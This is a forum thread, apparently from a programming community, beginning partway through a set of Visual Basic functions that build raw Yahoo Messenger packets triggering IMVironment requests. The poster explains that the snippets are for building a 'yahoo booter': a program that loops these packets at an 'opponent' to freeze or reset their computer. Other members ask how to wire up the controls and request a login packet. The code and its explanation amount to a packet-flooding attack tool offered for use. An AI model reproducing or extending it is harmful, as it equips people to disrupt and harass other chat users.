	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€mazing;1À€64À€0À€" 
	AmazingIMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function DoritosIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€doritosdd;1À€64À€0À€" 
	DoritosIMV = DataHeader("06", pck) 
	Debug.Print DoritosIMV 
End Function 

Public Function gmc2IMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€gmc2;1À€64À€0À€" 
	gmc2IMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function Campbells2IMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€campbells2;1À€64À€0À€" 
	Campbells2IMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function PeanutsIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€Peanuts;1À€64À€0À€" 
	PeanutsIMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function DataHeader(ByVal PacketType As String, ByVal Packet As String) As String 
	Dim I As Integer 
	Dim X As Integer 
	X = 0 
	I = Len(Packet) 
	Do While I > 255 
		I = I - 256 
		X = X + 1 
	Loop 
	DataHeader = "YMSG" & Chr(0) & Chr(11) & String(2, 0) & Chr(X) & Chr(I) & Chr(0) & Chr("&H" & PacketType) & String(8, 0) & Packet 
	Debug.Print DataHeader 
End Function
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
Can you explain something about what the code is all about.
kush_2207's Avatar, Join Date: Jun 2007
Go4Expert Member
i am sorry for that....These are the VB function snippets which you can use to do the respective functions.....

These functions are useful for coding your own yahoo booter. You can insert this snippets in your program and run a loop for sending these packets to the opponent and rest his pc for sometime lolzzz.

Comments as always welcomed !
kush_2207's Avatar, Join Date: Jun 2007
Go4Expert Member
admin...please remove the spam !
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
Quote:
Originally Posted by kush_2207
admin...please remove the spam !
Removed and user banned.
Bhullarz's Avatar
Skilled contributor
What are the controls required and which function is used for which purpose? Plz explain
kush_2207's Avatar, Join Date: Jun 2007
Go4Expert Member
Purpose of the function is in their names......
For e.g. PeanutIMV will send a request to your chat-friend for enabling Peanut IMVironment.

Controls required are -> 2-3 Textboxes for retrieving the usernames of bot and opponent....
and options for doing different kinds of bombing......

If you are acquainted with using Yahoo Booters.....Then you would be able to make it out easily....
faizulhaque's Avatar, Join Date: May 2008
Skilled contributor
what an idea kush!
Yoosha's Avatar
Newbie Member
Any body have a login packet or simple prog(YMsgr 8/9/...)?
faizulhaque's Avatar, Join Date: May 2008
Skilled contributor
Nopz